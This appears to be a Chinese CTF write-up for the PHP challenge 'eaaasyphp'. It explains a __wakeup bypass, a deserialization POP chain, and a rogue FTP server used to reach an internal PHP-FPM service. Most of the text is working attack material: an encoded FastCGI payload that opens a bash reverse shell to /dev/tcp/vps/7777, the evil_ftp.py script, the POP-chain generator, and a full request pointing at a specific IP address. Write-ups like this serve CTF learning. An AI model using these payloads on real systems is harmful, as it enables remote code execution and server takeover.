eaaasyphp

讀取phpinfo

嘗試反序列化讀取phpinfo

但是__wakeup()函式先于destruct函式執行，所以需要繞過:__

PHP :: Bug #81151 :: bypass __wakeup

?code=C:4:"Hint":0:{}

注意這個FPM/FastCGI

打fastcgi

使用Gopherus生成打fastcgi的payload:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_
PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCR
IPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp
/vps/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

同時還要在自己的vps上起一個惡意的ftp服務

惡意的ftp服務

ftp服務

# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 7008))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

構造pop鏈

構造pop鏈觸發Bunny類中的file_put_contents

unserialize——>Bypass類的__destruct()函式——>Welcome類的__invoke()函式——>Bunny類的__toString()函式——>呼叫其file_put_contents()打內網的fpm

(vps自行修改)

<?php

class Check {
    public static $str1 = false;
    public static $str2 = false;
}


class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}


class Hint {

    public function __wakeup(){
        $this->hint = "no hint";
    }
    //這里可以利用得到phpinfo（）,前提是繞過__wakeup()，將O換為C即可繞過
    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }
    }
}


class Bunny {
    //當一個物件被當作字串對待的時候，會觸發這個__toString()魔術方法
    //比如$b = new Bunny();那么 echo $b;  就會呼叫__toString這個方法
    public function __toString()
    {
        if (Check::$str2) {
            if(!$this->data){
                $this->data = $_REQUEST['data'];
            }
            //寫入檔案   但是題目把寫檔案的權限給刪掉了，所以這個思路不通
            //可以配合ftp打內網的fpm
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

class Welcome {
    //當以呼叫函式的方式，呼叫一個物件時，__invoke函式會被自動呼叫
    //比如$a = new Welcome(),那么進行 $a()的時候就會呼叫__invoke()函式
    //而上述用法可以在Bypass中進行利用
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {
    public $aaa;

    public function __destruct()
    {
        if (Check::$str1) {
            //另str4為一個Welcome的類物件，呼叫其__invoke()函式
            ($this->str4)();
        } else {
            throw new Error("Error");
        }
    }
}

$a = new Bypass();
$a->aaa = new Esle();
$a->str4 = new Welcome();
$a->str4->username = new Bunny();
$a->str4->username->filename = "ftp://aaa@vps:7008/123";
echo urlencode(serialize($a));

/*
if (isset($_GET['code'])) {
    unserialize($_GET['code']);
} else {
    highlight_file(__FILE__);
}*/

打內網的fpm這一點類似于[藍帽杯2021 one point php]：[藍帽杯 2021]One Pointer PHP_Sk1y的博客-CSDN博客

payload（vps自行修改）

?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A3%3A%22aaa%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A33%3A%22ftp%3A%2F%2Faaa%40116.62.240.148%3A7008%2F123%22%3B%7D%7D%7D&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vps/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

運行ftp.py，在vps的7008埠開啟ftp惡意服務

python3 ftp.py

監聽vps的7777埠，

參考鏈接

1. PHP :: Bug #81151 :: bypass __wakeup
2. 隴原戰疫2021網路安全大賽 Web_feng的博客-CSDN博客
3. One Pointer PHP_Sk1y的博客-CSDN博客